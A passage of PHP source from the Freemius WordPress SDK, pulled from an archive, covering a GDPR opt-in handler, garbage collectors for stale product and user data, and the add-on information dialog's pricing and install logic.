$this->get_text_inline( 'License key is empty.', 'empty-license-key' ) ); } $user_plugins = $this->fetch_user_marketing_flag_status_by_plugins( null, $license_key, array( $this->_module_id ) ); if ( ! is_array( $user_plugins ) || empty($user_plugins) || !isset($user_plugins[0]->plugin_id) || $user_plugins[0]->plugin_id != $this->_module_id ) { /** * If faced an error or if the module ID do not match to the current module, ask for GDPR opt-in. * * @author Vova Feldman (@svovaf) */ self::shoot_ajax_success( array( 'is_marketing_allowed' => null, 'license_owner_id' => null ) ); } self::shoot_ajax_success( array( 'is_marketing_allowed' => $user_plugins[0]->is_marketing_allowed, 'license_owner_id' => ( isset( $user_plugins[0]->license_owner_id ) ? $user_plugins[0]->license_owner_id : null ) ) ); } /** * @author Leo Fajardo (@leorw) * @since 2.3.2 * * @param number[] $install_ids * * @return array { * An array of objects containing the installs' licenses owners data. * * @property number $id User ID. * @property string $email User email (can be masked email). * } */ private function fetch_installs_licenses_owners_data( $install_ids ) { $this->_logger->entrance(); $response = $this->get_api_user_scope()->get( '/licenses_owners.json?install_ids=' . implode( ',', $install_ids ) ); $license_owners = array(); if ( $this->is_api_result_object( $response, 'owners' ) ) { $license_owners = $response->owners; } return $license_owners; } /** * @author Leo Fajardo (@leorw) * @since 2.1.0 */ private function add_gdpr_optin_ajax_handler_and_style() { // Add GDPR action AJAX callback. $this->add_ajax_action( 'gdpr_optin_action', array( &$this, '_gdpr_optin_ajax_action' ) ); add_action( 'admin_footer', array( &$this, '_add_gdpr_optin_js' ) ); add_action( 'admin_enqueue_scripts', array( &$this, 'enqueue_gdpr_optin_notice_style' ) ); } /** * @author Leo Fajardo (@leorw) * @since 2.1.0 */ function _gdpr_optin_ajax_action() { $this->_logger->entrance(); $this->check_ajax_referer( 'gdpr_optin_action' ); if ( ! fs_request_has( 'is_marketing_allowed' ) || ! fs_request_has( 'plugin_ids' ) ) { self::shoot_ajax_failure(); } $current_wp_user = self::_get_current_wp_user(); $plugin_ids = fs_request_get( 'plugin_ids', array() ); if ( ! is_array( $plugin_ids ) || empty( $plugin_ids ) ) { self::shoot_ajax_failure(); } $modules = array_merge( array_values( self::maybe_get_entities_account_option( 'plugins', array() ) ), array_values( self::maybe_get_entities_account_option( 'themes', array() ) ) ); foreach ( $modules as $key => $module ) { if ( ! in_array( $module->id, $plugin_ids ) ) { unset( $modules[ $key ] ); } } if ( empty( $modules ) ) { self::shoot_ajax_failure(); } $user_api = $this->get_api_user_scope_by_user( Freemius::_get_user_by_email( $current_wp_user->user_email ) ); foreach ( $modules as $module ) { $user_api->call( "?plugin_id={$module->id}", 'put', array( 'is_marketing_allowed' => ( true == fs_request_get_bool( 'is_marketing_allowed' ) ) ) ); } FS_GDPR_Manager::instance()->remove_opt_in_notice(); require_once WP_FS__DIR_INCLUDES . '/class-fs-user-lock.php'; // 10-year lock. FS_User_Lock::instance()->lock( 10 * 365 * WP_FS__TIME_24_HOURS_IN_SEC ); self::shoot_ajax_success(); } /** * Checks if the GDPR admin notice should be handled. By default, this logic is off, unless the integrator adds the special 'handle_gdpr_admin_notice' filter. * * @author Vova Feldman (@svovaf) * @since 2.1.0 * * @return bool */ private function should_handle_gdpr_admin_notice() { return $this->apply_filters( 'handle_gdpr_admin_notice', // Default to false. false ); } #endregion #---------------------------------------------------------------------------------- #region Marketing #---------------------------------------------------------------------------------- /** * Check if current user purchased any other plugins before. * * @author Vova Feldman (@svovaf) * @since 1.0.9 * * @return bool */ function has_purchased_before() { // TODO: Implement has_purchased_before() method. throw new Exception( 'not implemented' ); } /** * Check if current user classified as an agency. * * @author Vova Feldman (@svovaf) * @since 1.0.9 * * @return bool */ function is_agency() { // TODO: Implement is_agency() method. throw new Exception( 'not implemented' ); } /** * Check if current user classified as a developer. * * @author Vova Feldman (@svovaf) * @since 1.0.9 * * @return bool */ function is_developer() { // TODO: Implement is_developer() method. throw new Exception( 'not implemented' ); } /** * Check if current user classified as a business. * * @author Vova Feldman (@svovaf) * @since 1.0.9 * * @return bool */ function is_business() { // TODO: Implement is_business() method. throw new Exception( 'not implemented' ); } #endregion #---------------------------------------------------------------------------------- #region Helper #---------------------------------------------------------------------------------- /** * If running with a secret key, assume it's the developer and show pending plans as well. * * @author Vova Feldman (@svovaf) * @since 2.1.2 * * @param string $path * * @return string */ function add_show_pending( $path ) { if ( ! $this->has_secret_key() ) { return $path; } return $path . ( false !== strpos( $path, '?' ) ? '&' : '?' ) . 'show_pending=true'; } #endregion } vendor/freemius/includes/class-fs-garbage-collector.php000064400000035443147600365160017305 0ustar00 Map of product slugs to their last load timestamp, only for products that are not active. */ private $_gc_timestamp; /** * @var array> Map of product slugs to their data, as stored by the primary storage of `Freemius` class. */ private $_storage_data; function __construct( FS_Options $_accounts, $option_names, $type ) { $this->_accounts = $_accounts; $this->_options_names = $option_names; $this->_type = $type; $this->_plural_type = ( $type . 's' ); } function clean() { $this->_gc_timestamp = $this->_accounts->get_option( 'gc_timestamp', array() ); $this->_storage_data = $this->_accounts->get_option( $this->_type . '_data', array() ); $options = $this->load_options(); $has_updated_option = false; $products_to_clean = $this->get_products_to_clean(); foreach( $products_to_clean as $product ) { $slug = $product->slug; // Clear the product's data. foreach( $options as $option_name => $option ) { $updated = false; /** * We expect to deal with only array like options here. * @todo - Refactor this to create dedicated GC classes for every option, then we can make the code mode predictable. * For example, depending on data integrity of `plugins` we can still miss something entirely in the `plugin_data` or vice-versa. * A better algorithm is to iterate over all options individually in separate classes and check against primary storage to see if those can be garbage collected. * But given the chance of data integrity issue is very low, we let this run for now and gather feedback. */ if ( ! is_array( $option ) ) { continue; } if ( array_key_exists( $slug, $option ) ) { unset( $option[ $slug ] ); $updated = true; } else if ( array_key_exists( "{$slug}:{$this->_type}", $option ) ) { /* admin_notices */ unset( $option[ "{$slug}:{$this->_type}" ] ); $updated = true; } else if ( isset( $product->id ) && array_key_exists( $product->id, $option ) ) { /* all_licenses */ unset( $option[ $product->id ] ); $updated = true; } else if ( isset( $product->file ) && array_key_exists( $product->file, $option ) ) { /* file_slug_map */ unset( $option[ $product->file ] ); $updated = true; } if ( $updated ) { $this->_accounts->set_option( $option_name, $option ); $options[ $option_name ] = $option; $has_updated_option = true; } } // Clear the product's data from the primary storage. if ( isset( $this->_storage_data[ $slug ] ) ) { unset( $this->_storage_data[ $slug ] ); $has_updated_option = true; } // Clear from GC timestamp. // @todo - This perhaps needs a separate garbage collector for all expired products. But the chance of left-over is very slim. if ( isset( $this->_gc_timestamp[ $slug ] ) ) { unset( $this->_gc_timestamp[ $slug ] ); $has_updated_option = true; } } $this->_accounts->set_option( 'gc_timestamp', $this->_gc_timestamp ); $this->_accounts->set_option( $this->_type . '_data', $this->_storage_data ); return $has_updated_option; } private function get_all_option_names() { return array_merge( array( 'admin_notices', 'updates', 'all_licenses', 'addons', 'id_slug_type_path_map', 'file_slug_map', ), $this->_options_names ); } private function get_products() { $products = $this->_accounts->get_option( $this->_plural_type, array() ); // Fill any missing product found in the primary storage. // @todo - This wouldn't be needed if we use dedicated GC design for every options. The options themselves would provide such information. foreach( $this->_storage_data as $slug => $product_data ) { if ( ! isset( $products[ $slug ] ) ) { $products[ $slug ] = (object) $product_data; } } $this->update_gc_timestamp( $products ); return $products; } private function get_products_to_clean() { $products_to_clean = array(); $products = $this->get_products(); foreach ( $products as $slug => $product_data ) { if ( ! is_object( $product_data ) ) { continue; } if ( $this->is_product_active( $slug ) ) { continue; } $is_addon = ( ! empty( $product_data->parent_plugin_id ) ); if ( ! $is_addon ) { $products_to_clean[] = $product_data; } else { /** * If add-on, add to the beginning of the array so that add-ons are removed before their parent. This is to prevent an unexpected issue when an add-on exists but its parent was already removed. */ array_unshift( $products_to_clean, $product_data ); } } return $products_to_clean; } /** * @param string $slug * * @return bool */ private function is_product_active( $slug ) { $instances = Freemius::_get_all_instances(); foreach ( $instances as $instance ) { if ( $instance->get_slug() === $slug ) { return true; } } $expiration_time = fs_get_optional_constant( 'WP_FS__GARBAGE_COLLECTOR_EXPIRATION_TIME_SECS', ( WP_FS__TIME_WEEK_IN_SEC * 4 ) ); if ( $this->get_last_load_timestamp( $slug ) > ( time() - $expiration_time ) ) { // Last activation was within the last 4 weeks. return true; } return false; } private function load_options() { $options = array(); $option_names = $this->get_all_option_names(); foreach ( $option_names as $option_name ) { $options[ $option_name ] = $this->_accounts->get_option( $option_name, array() ); } return $options; } /** * Updates the garbage collector timestamp, only if it was not already set by the product's primary storage. * * @param array $products * * @return void */ private function update_gc_timestamp( $products ) { foreach ($products as $slug => $product_data) { if ( ! is_object( $product_data ) && ! is_array( $product_data ) ) { continue; } // If the product is active, we don't need to update the gc_timestamp. if ( isset( $this->_storage_data[ $slug ]['last_load_timestamp'] ) ) { continue; } // First try to check if the product is present in the primary storage. If so update that. if ( isset( $this->_storage_data[ $slug ] ) ) { $this->_storage_data[ $slug ]['last_load_timestamp'] = time(); } else if ( ! isset( $this->_gc_timestamp[ $slug ] ) ) { // If not, fallback to the gc_timestamp, but we don't want to update it more than once. $this->_gc_timestamp[ $slug ] = time(); } } } private function get_last_load_timestamp( $slug ) { if ( isset( $this->_storage_data[ $slug ]['last_load_timestamp'] ) ) { return $this->_storage_data[ $slug ]['last_load_timestamp']; } return isset( $this->_gc_timestamp[ $slug ] ) ? $this->_gc_timestamp[ $slug ] : // This should never happen, but if it does, let's assume the product is not expired. time(); } } class FS_User_Garbage_Collector implements FS_I_Garbage_Collector { private $_accounts; private $_types; function __construct( FS_Options $_accounts, array $types ) { $this->_accounts = $_accounts; $this->_types = $types; } function clean() { $users = Freemius::get_all_users(); $user_has_install_map = $this->get_user_has_install_map(); if ( count( $users ) === count( $user_has_install_map ) ) { return false; } $products_user_id_license_ids_map = $this->_accounts->get_option( 'user_id_license_ids_map', array() ); $has_updated_option = false; foreach ( $users as $user_id => $user ) { if ( ! isset( $user_has_install_map[ $user_id ] ) ) { unset( $users[ $user_id ] ); foreach( $products_user_id_license_ids_map as $product_id => $user_id_license_ids_map ) { unset( $user_id_license_ids_map[ $user_id ] ); if ( empty( $user_id_license_ids_map ) ) { unset( $products_user_id_license_ids_map[ $product_id ] ); } else { $products_user_id_license_ids_map[ $product_id ] = $user_id_license_ids_map; } } $this->_accounts->set_option( 'users', $users ); $this->_accounts->set_option( 'user_id_license_ids_map', $products_user_id_license_ids_map ); $has_updated_option = true; } } return $has_updated_option; } private function get_user_has_install_map() { $user_has_install_map = array(); foreach ( $this->_types as $product_type ) { $option_name = ( WP_FS__MODULE_TYPE_PLUGIN !== $product_type ) ? "{$product_type}_sites" : 'sites'; $installs = $this->_accounts->get_option( $option_name, array() ); foreach ( $installs as $install ) { $user_has_install_map[ $install->user_id ] = true; } } return $user_has_install_map; } } // Main entry-level class. class FS_Garbage_Collector implements FS_I_Garbage_Collector { /** * @var FS_Garbage_Collector * @since 2.6.0 */ private static $_instance; /** * @return FS_Garbage_Collector */ static function instance() { if ( ! isset( self::$_instance ) ) { self::$_instance = new self(); } return self::$_instance; } #endregion private function __construct() { } function clean() { $_accounts = FS_Options::instance( WP_FS__ACCOUNTS_OPTION_NAME, true ); $products_cleaners = $this->get_product_cleaners( $_accounts ); $has_cleaned = false; foreach ( $products_cleaners as $products_cleaner ) { if ( $products_cleaner->clean() ) { $has_cleaned = true; } } if ( $has_cleaned ) { $user_cleaner = new FS_User_Garbage_Collector( $_accounts, array_keys( $products_cleaners ) ); $user_cleaner->clean(); } // @todo - We need a garbage collector for `all_plugins` and `active_plugins` (and variants of themes). // Always store regardless of whether there were cleaned products or not since during the process, the logic may set the last load timestamp of some products. $_accounts->store(); } /** * @param FS_Options $_accounts * * @return FS_I_Garbage_Collector[] */ private function get_product_cleaners( FS_Options $_accounts ) { /** * @var FS_I_Garbage_Collector[] $products_cleaners */ $products_cleaners = array(); $products_cleaners[ WP_FS__MODULE_TYPE_PLUGIN ] = new FS_Product_Garbage_Collector( $_accounts, array( 'sites', 'plans', 'plugins', ), WP_FS__MODULE_TYPE_PLUGIN ); $products_cleaners[ WP_FS__MODULE_TYPE_THEME ] = new FS_Product_Garbage_Collector( $_accounts, array( 'theme_sites', 'theme_plans', 'themes', ), WP_FS__MODULE_TYPE_THEME ); return $products_cleaners; } }vendor/freemius/includes/fs-plugin-info-dialog.php000064400000243660147600365160016314 0ustar00_fs = $fs; $this->_logger = FS_Logger::get_logger( WP_FS__SLUG . '_' . $fs->get_slug() . '_info', WP_FS__DEBUG_SDK, WP_FS__ECHO_DEBUG_SDK ); // Remove default plugin information action. remove_all_actions( 'install_plugins_pre_plugin-information' ); // Override action with custom plugins function for add-ons. add_action( 'install_plugins_pre_plugin-information', array( &$this, 'install_plugin_information' ) ); // Override request for plugin information for Add-ons. add_filter( 'fs_plugins_api', array( &$this, '_get_addon_info_filter' ), WP_FS__DEFAULT_PRIORITY, 3 ); } /** * Generate add-on plugin information. * * @author Vova Feldman (@svovaf) * @since 1.0.6 * * @param array $data * @param string $action * @param object|null $args * * @return array|null */ function _get_addon_info_filter( $data, $action = '', $args = null ) { $this->_logger->entrance(); $parent_plugin_id = fs_request_get( 'parent_plugin_id', $this->_fs->get_id() ); if ( $this->_fs->get_id() != $parent_plugin_id || ( 'plugin_information' !== $action ) || ! isset( $args->slug ) ) { return $data; } // Find add-on by slug. $selected_addon = $this->_fs->get_addon_by_slug( $args->slug, WP_FS__DEV_MODE ); if ( false === $selected_addon ) { return $data; } if ( ! isset( $selected_addon->info ) ) { // Setup some default info. $selected_addon->info = new stdClass(); $selected_addon->info->selling_point_0 = 'Selling Point 1'; $selected_addon->info->selling_point_1 = 'Selling Point 2'; $selected_addon->info->selling_point_2 = 'Selling Point 3'; $selected_addon->info->description = '

                  Tell your users all about your add-on

                  '; } fs_enqueue_local_style( 'fs_addons', '/admin/add-ons.css' ); $data = $args; $has_free_plan = false; $has_paid_plan = false; // Load add-on pricing. $has_pricing = false; $has_features = false; $plans = false; $result = $this->_fs->get_api_plugin_scope()->get( $this->_fs->add_show_pending( "/addons/{$selected_addon->id}/pricing.json?type=visible" ) ); if ( ! isset( $result->error ) ) { $plans = $result->plans; if ( is_array( $plans ) ) { for ( $i = 0, $len = count( $plans ); $i < $len; $i ++ ) { $pricing = isset( $plans[ $i ]->pricing ) ? $plans[ $i ]->pricing : null; $features = isset( $plans[ $i ]->features ) ? $plans[ $i ]->features : null; $plans[ $i ] = new FS_Plugin_Plan( $plans[ $i ] ); $plan = $plans[ $i ]; if ( 'free' == $plans[ $i ]->name || ! is_array( $pricing ) || 0 == count( $pricing ) ) { $has_free_plan = true; } if ( is_array( $pricing ) && 0 < count( $pricing ) ) { $filtered_pricing = array(); foreach ( $pricing as $prices ) { $prices = new FS_Pricing( $prices ); if ( ! $prices->is_usd() ) { /** * Skip non-USD pricing. * * @author Leo Fajardo (@leorw) * @since 2.3.1 */ continue; } if ( ( $prices->has_monthly() && $prices->monthly_price > 1.0 ) || ( $prices->has_annual() && $prices->annual_price > 1.0 ) || ( $prices->has_lifetime() && $prices->lifetime_price > 1.0 ) ) { $filtered_pricing[] = $prices; } } if ( ! empty( $filtered_pricing ) ) { $has_paid_plan = true; $plan->pricing = $filtered_pricing; $has_pricing = true; } } if ( is_array( $features ) && 0 < count( $features ) ) { $plan->features = $features; $has_features = true; } } } } $latest = null; if ( ! $has_paid_plan && $selected_addon->is_wp_org_compliant ) { $repo_data = FS_Plugin_Updater::_fetch_plugin_info_from_repository( 'plugin_information', (object) array( 'slug' => $selected_addon->slug, 'is_ssl' => is_ssl(), 'fields' => array( 'banners' => true, 'reviews' => true, 'downloaded' => false, 'active_installs' => true ) ) ); if ( ! empty( $repo_data ) ) { $data = $repo_data; $data->wp_org_missing = false; } else { // Couldn't find plugin on .org. $selected_addon->is_wp_org_compliant = false; // Plugin is missing, not on Freemius nor WP.org. $data->wp_org_missing = true; } $data->fs_missing = ( ! $has_free_plan || $data->wp_org_missing ); } else { $data->has_purchased_license = false; $data->wp_org_missing = false; $fs_addon = null; $current_addon_version = false; if ( $this->_fs->is_addon_activated( $selected_addon->id ) ) { $fs_addon = $this->_fs->get_addon_instance( $selected_addon->id ); $current_addon_version = $fs_addon->get_plugin_version(); } else if ( $this->_fs->is_addon_installed( $selected_addon->id ) ) { $addon_plugin_data = get_plugin_data( ( WP_PLUGIN_DIR . '/' . $this->_fs->get_addon_basename( $selected_addon->id ) ), false, false ); if ( ! empty( $addon_plugin_data ) ) { $current_addon_version = $addon_plugin_data['Version']; } } // Fetch latest version from Freemius. $latest = $this->_fs->_fetch_latest_version( $selected_addon->id, true, WP_FS__TIME_24_HOURS_IN_SEC, $current_addon_version ); if ( $has_paid_plan ) { $blog_id = fs_request_get( 'fs_blog_id' ); $has_valid_blog_id = is_numeric( $blog_id ); if ( $has_valid_blog_id ) { switch_to_blog( $blog_id ); } $data->checkout_link = $this->_fs->checkout_url( WP_FS__PERIOD_ANNUALLY, false, array(), ( $has_valid_blog_id ? false : null ) ); if ( $has_valid_blog_id ) { restore_current_blog(); } } /** * Check if there's a purchased license in case the add-on can only be installed/downloaded as part of a purchased bundle. * * @author Leo Fajardo (@leorw) * @since 2.4.1 */ if ( is_object( $fs_addon ) ) { $data->has_purchased_license = $fs_addon->has_active_valid_license(); } else { $account_addons = $this->_fs->get_account_addons(); if ( ! empty( $account_addons ) && in_array( $selected_addon->id, $account_addons ) ) { $data->has_purchased_license = true; } } if ( $has_free_plan || $data->has_purchased_license ) { $data->download_link = $this->_fs->_get_latest_download_local_url( $selected_addon->id ); } $data->fs_missing = ( false === $latest && ( empty( $selected_addon->premium_releases_count ) || ! ( $selected_addon->premium_releases_count > 0 ) ) ); // Fetch as much as possible info from local files. $plugin_local_data = $this->_fs->get_plugin_data(); $data->author = $plugin_local_data['Author']; if ( ! empty( $selected_addon->info->banner_url ) ) { $data->banners = array( 'low' => $selected_addon->info->banner_url, ); } if ( ! empty( $selected_addon->info->screenshots ) ) { $view_vars = array( 'screenshots' => $selected_addon->info->screenshots, 'plugin' => $selected_addon, ); $data->sections['screenshots'] = fs_get_template( '/plugin-info/screenshots.php', $view_vars ); } if ( is_object( $latest ) ) { $data->version = $latest->version; $data->last_updated = $latest->created; $data->requires = $latest->requires_platform_version; $data->requires_php = $latest->requires_programming_language_version; $data->tested = $latest->tested_up_to_version; } else if ( ! empty( $current_addon_version ) ) { $data->version = $current_addon_version; } else { // Add dummy version. $data->version = '1.0.0'; // Add message to developer to deploy the plugin through Freemius. } } $data->name = $selected_addon->title; $view_vars = array( 'plugin' => $selected_addon ); if ( is_object( $latest ) && isset( $latest->readme ) && is_object( $latest->readme ) ) { $latest_version_readme_data = $latest->readme; if ( isset( $latest_version_readme_data->sections ) ) { $data->sections = (array) $latest_version_readme_data->sections; } else { $data->sections = array(); } } $data->sections['description'] = fs_get_template( '/plugin-info/description.php', $view_vars ); if ( $has_pricing ) { // Add plans to data. $data->plans = $plans; if ( $has_features ) { $view_vars = array( 'plans' => $plans, 'plugin' => $selected_addon, ); $data->sections['features'] = fs_get_template( '/plugin-info/features.php', $view_vars ); } } $data->has_free_plan = $has_free_plan; $data->has_paid_plan = $has_paid_plan; $data->is_paid = $has_paid_plan; $data->is_wp_org_compliant = $selected_addon->is_wp_org_compliant; $data->premium_slug = $selected_addon->premium_slug; $data->addon_id = $selected_addon->id; if ( ! isset( $data->has_purchased_license ) ) { $data->has_purchased_license = false; } return $data; } /** * @author Vova Feldman (@svovaf) * @since 1.1.7 * * @param FS_Plugin_Plan $plan * * @return string */ private function get_billing_cycle( FS_Plugin_Plan $plan ) { $billing_cycle = null; if ( 1 === count( $plan->pricing ) && 1 == $plan->pricing[0]->licenses ) { $pricing = $plan->pricing[0]; if ( isset( $pricing->annual_price ) ) { $billing_cycle = 'annual'; } else if ( isset( $pricing->monthly_price ) ) { $billing_cycle = 'monthly'; } else if ( isset( $pricing->lifetime_price ) ) { $billing_cycle = 'lifetime'; } } else { foreach ( $plan->pricing as $pricing ) { if ( isset( $pricing->annual_price ) ) { $billing_cycle = 'annual'; } else if ( isset( $pricing->monthly_price ) ) { $billing_cycle = 'monthly'; } else if ( isset( $pricing->lifetime_price ) ) { $billing_cycle = 'lifetime'; } if ( ! is_null( $billing_cycle ) ) { break; } } } return $billing_cycle; } /** * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param FS_Plugin_Plan $plan * @param FS_Pricing $pricing * * @return float|null|string */ private function get_price_tag( FS_Plugin_Plan $plan, FS_Pricing $pricing ) { $price_tag = ''; if ( isset( $pricing->annual_price ) ) { $price_tag = $pricing->annual_price . ( $plan->is_block_features ? ' / year' : '' ); } else if ( isset( $pricing->monthly_price ) ) { $price_tag = $pricing->monthly_price . ' / mo'; } else if ( isset( $pricing->lifetime_price ) ) { $price_tag = $pricing->lifetime_price; } return '$' . $price_tag; } /** * @author Leo Fajardo (@leorw) * @since 2.3.0 * * @param object $api * @param FS_Plugin_Plan $plan * * @return string */ private function get_actions_dropdown( $api, $plan = null ) { $this->actions = isset( $this->actions ) ? $this->actions : $this->get_plugin_actions( $api ); $actions = $this->actions; $checkout_cta = $this->get_checkout_cta( $api, $plan ); if ( ! empty( $checkout_cta ) ) { /** * If there's no license yet, make the checkout button the main CTA. Otherwise, make it the last item in * the actions dropdown. * * @author Leo Fajardo (@leorw) * @since 2.3.0 */ if ( ! $api->has_purchased_license ) { array_unshift( $actions, $checkout_cta ); } else { $actions[] = $checkout_cta; } } if ( empty( $actions ) ) { return ''; } $total_actions = count( $actions ); if ( 1 === $total_actions ) { return $actions[0]; } ob_start(); ?>
                  checkout_link ) || ! isset( $api->plans ) || ! is_array( $api->plans ) || 0 == count( $api->plans ) ) { return ''; } if ( is_null( $plan ) ) { foreach ( $api->plans as $p ) { if ( ! empty( $p->pricing ) ) { $plan = $p; break; } } } $blog_id = fs_request_get( 'fs_blog_id' ); $has_valid_blog_id = is_numeric( $blog_id ); if ( $has_valid_blog_id ) { switch_to_blog( $blog_id ); } $addon_checkout_url = $this->_fs->addon_checkout_url( $plan->plugin_id, $plan->pricing[0]->id, $this->get_billing_cycle( $plan ), $plan->has_trial(), ( $has_valid_blog_id ? false : null ) ); if ( $has_valid_blog_id ) { restore_current_blog(); } return '' . esc_html( ! $plan->has_trial() ? ( $api->has_purchased_license ? fs_text_inline( 'Purchase More', 'purchase-more', $api->slug ) : fs_text_x_inline( 'Purchase', 'verb', 'purchase', $api->slug ) ) : sprintf( /* translators: %s: N-days trial */ fs_text_inline( 'Start my free %s', 'start-free-x', $api->slug ), $this->get_trial_period( $plan ) ) ) . ''; } /** * @author Leo Fajardo (@leorw) * @since 2.3.0 * * @param object $api * * @return string[] */ private function get_plugin_actions( $api ) { $this->status = isset( $this->status ) ? $this->status : install_plugin_install_status( $api ); $is_update_available = ( 'update_available' === $this->status['status'] ); if ( $is_update_available && empty( $this->status['url'] ) ) { return array(); } $blog_id = fs_request_get( 'fs_blog_id' ); $active_plugins_directories_map = Freemius::get_active_plugins_directories_map( $blog_id ); $actions = array(); $is_addon_activated = $this->_fs->is_addon_activated( $api->slug ); $fs_addon = null; $is_free_installed = null; $is_premium_installed = null; $has_installed_version = ( 'install' !== $this->status['status'] ); if ( ! $api->has_paid_plan && ! $api->has_purchased_license ) { /** * Free-only add-on. * * @author Leo Fajardo (@leorw) * @since 2.3.0 */ $is_free_installed = $has_installed_version; $is_premium_installed = false; } else if ( ! $api->has_free_plan ) { /** * Premium-only add-on. * * @author Leo Fajardo (@leorw) * @since 2.3.0 */ $is_free_installed = false; $is_premium_installed = $has_installed_version; } else { /** * Freemium add-on. * * @author Leo Fajardo (@leorw) * @since 2.3.0 */ if ( ! $has_installed_version ) { $is_free_installed = false; $is_premium_installed = false; } else { $fs_addon = $is_addon_activated ? $this->_fs->get_addon_instance( $api->slug ) : null; if ( is_object( $fs_addon ) ) { if ( $fs_addon->is_premium() ) { $is_premium_installed = true; } else { $is_free_installed = true; } } if ( is_null( $is_free_installed ) ) { $is_free_installed = file_exists( fs_normalize_path( WP_PLUGIN_DIR . "/{$api->slug}/{$api->slug}.php" ) ); if ( ! $is_free_installed ) { /** * Check if there's a plugin installed in a directory named `$api->slug`. * * @author Leo Fajardo (@leorw) * @since 2.3.0 */ $installed_plugins = get_plugins( '/' . $api->slug ); $is_free_installed = ( ! empty( $installed_plugins ) ); } } if ( is_null( $is_premium_installed ) ) { $is_premium_installed = file_exists( fs_normalize_path( WP_PLUGIN_DIR . "/{$api->premium_slug}/{$api->slug}.php" ) ); if ( ! $is_premium_installed ) { /** * Check if there's a plugin installed in a directory named `$api->premium_slug`. * * @author Leo Fajardo (@leorw) * @since 2.3.0 */ $installed_plugins = get_plugins( '/' . $api->premium_slug ); $is_premium_installed = ( ! empty( $installed_plugins ) ); } } } $has_installed_version = ( $is_free_installed || $is_premium_installed ); } $this->status['is_free_installed'] = $is_free_installed; $this->status['is_premium_installed'] = $is_premium_installed; $can_install_free_version = false; $can_install_free_version_update = false; $can_download_free_version = false; $can_activate_free_version = false; $can_install_premium_version = false; $can_install_premium_version_update = false; $can_download_premium_version = false; $can_activate_premium_version = false; if ( ! $api->has_purchased_license ) { if ( $api->has_free_plan ) { if ( $has_installed_version ) { if ( $is_update_available ) { $can_install_free_version_update = true; } else if ( ! $is_premium_installed && ! isset( $active_plugins_directories_map[ dirname( $this->status['file'] ) ] ) ) { $can_activate_free_version = true; } } else { if ( $this->_fs->is_premium() || ! $this->_fs->is_org_repo_compliant() || $api->is_wp_org_compliant ) { $can_install_free_version = true; } else { $can_download_free_version = true; } } } } else { if ( ! is_object( $fs_addon ) && $is_addon_activated ) { $fs_addon = $this->_fs->get_addon_instance( $api->slug ); } $can_download_premium_version = true; if ( ! isset( $active_plugins_directories_map[ dirname( $this->status['file'] ) ] ) ) { if ( $is_premium_installed ) { $can_activate_premium_version = ( ! $is_addon_activated || ! $fs_addon->is_premium() ); } else if ( $is_free_installed ) { $can_activate_free_version = ( ! $is_addon_activated ); } } if ( $this->_fs->is_premium() || ! $this->_fs->is_org_repo_compliant() ) { if ( $is_update_available ) { $can_install_premium_version_update = true; } else if ( ! $is_premium_installed ) { $can_install_premium_version = true; } } } if ( $can_install_premium_version || $can_install_premium_version_update ) { if ( is_numeric( $blog_id ) ) { /** * Replace the network status URL with a blog admin–based status URL if the `Add-Ons` page is loaded * from a specific blog admin page (when `fs_blog_id` is valid) in order for plugin installation/update * to work. * * @author Leo Fajardo (@leorw) * @since 2.3.0 */ $this->status['url'] = self::get_blog_status_url( $blog_id, $this->status['url'], $this->status['status'] ); } /** * Add the `fs_allow_updater_and_dialog` param to the install/update URL so that the add-on can be * installed/updated. * * @author Leo Fajardo (@leorw) * @since 2.3.0 */ $this->status['url'] = str_replace( '?', '?fs_allow_updater_and_dialog=true&', $this->status['url'] ); } if ( $can_install_free_version_update || $can_install_premium_version_update ) { $actions[] = $this->get_cta( ( $can_install_free_version_update ? fs_esc_html_inline( 'Install Free Version Update Now', 'install-free-version-update-now', $api->slug ) : fs_esc_html_inline( 'Install Update Now', 'install-update-now', $api->slug ) ), true, false, $this->status['url'], '_parent' ); } else if ( $can_install_free_version || $can_install_premium_version ) { $actions[] = $this->get_cta( ( $can_install_free_version ? fs_esc_html_inline( 'Install Free Version Now', 'install-free-version-now', $api->slug ) : fs_esc_html_inline( 'Install Now', 'install-now', $api->slug ) ), true, false, $this->status['url'], '_parent' ); } $download_latest_action = ''; if ( ! empty( $api->download_link ) && ( $can_download_free_version || $can_download_premium_version ) ) { $download_latest_action = $this->get_cta( ( $can_download_free_version ? fs_esc_html_x_inline( 'Download Latest Free Version', 'as download latest version', 'download-latest-free-version', $api->slug ) : fs_esc_html_x_inline( 'Download Latest', 'as download latest version', 'download-latest', $api->slug ) ), true, false, esc_url( $api->download_link ) ); } if ( ! $can_activate_free_version && ! $can_activate_premium_version ) { if ( ! empty( $download_latest_action ) ) { $actions[] = $download_latest_action; } } else { $activate_action = sprintf( '%s', wp_nonce_url( ( is_numeric( $blog_id ) ? trailingslashit( get_admin_url( $blog_id ) ) : '' ) . 'plugins.php?action=activate&plugin=' . $this->status['file'], 'activate-plugin_' . $this->status['file'] ), fs_esc_attr_inline( 'Activate this add-on', 'activate-this-addon', $api->slug ), $can_activate_free_version ? fs_text_inline( 'Activate Free Version', 'activate-free', $api->slug ) : fs_text_inline( 'Activate', 'activate', $api->slug ) ); if ( ! $can_download_premium_version && ! empty( $download_latest_action ) ) { $actions[] = $download_latest_action; $download_latest_action = ''; } if ( $can_install_premium_version || $can_install_premium_version_update ) { if ( $can_download_premium_version && ! empty( $download_latest_action ) ) { $actions[] = $download_latest_action; $download_latest_action = ''; } $actions[] = $activate_action; } else { array_unshift( $actions, $activate_action ); } if ( ! empty ($download_latest_action ) ) { $actions[] = $download_latest_action; } } return $actions; } /** * Rebuilds the status URL based on the admin URL. * * @author Leo Fajardo (@leorw) * @since 2.3.0 * * @param int $blog_id * @param string $network_status_url * @param string $status * * @return string */ private static function get_blog_status_url( $blog_id, $network_status_url, $status ) { if ( ! in_array( $status, array( 'install', 'update_available' ) ) ) { return $network_status_url; } $action = ( 'install' === $status ) ? 'install-plugin' : 'upgrade-plugin'; $url_params = fs_parse_url_params( $network_status_url, true ); if ( empty( $url_params ) || ! isset( $url_params['plugin'] ) ) { return $network_status_url; } $plugin = $url_params['plugin']; return wp_nonce_url( get_admin_url( $blog_id,"update.php?action={$action}&plugin={$plugin}"), "{$action}_{$plugin}"); } /** * Helper method to get a CTA button HTML. * * @author Vova Feldman (@svovaf) * @since 2.0.0 * * @param string $label * @param bool $is_primary * @param bool $is_disabled * @param string $href * @param string $target * * @return string */ private function get_cta( $label, $is_primary = true, $is_disabled = false, $href = '', $target = '_blank' ) { $classes = array(); if ( ! $is_primary ) { $classes[] = 